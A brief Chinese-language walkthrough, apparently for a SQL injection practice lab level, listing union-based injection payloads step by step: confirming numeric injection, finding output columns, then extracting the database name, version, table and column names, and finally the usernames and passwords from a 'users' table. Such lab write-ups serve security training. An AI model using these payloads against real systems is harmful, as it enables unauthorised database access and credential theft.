1.同第一关一样,先判断是何种类型的注入
根据语句?id=1 and 1=1正常回显,?id=1 and 1=2报错,可知这次是数字型注入(同时注意 =数字型注入后面不用再加--+)
2.获取回显位
?id=1 union select 1,2,3
3.爆数据库名和版本信息
?id=-1 union select 1,database(),version()
3.爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
4.爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
5.爆字段内容
?id=-1 union select 1,2,group_concat(id,username,password) from users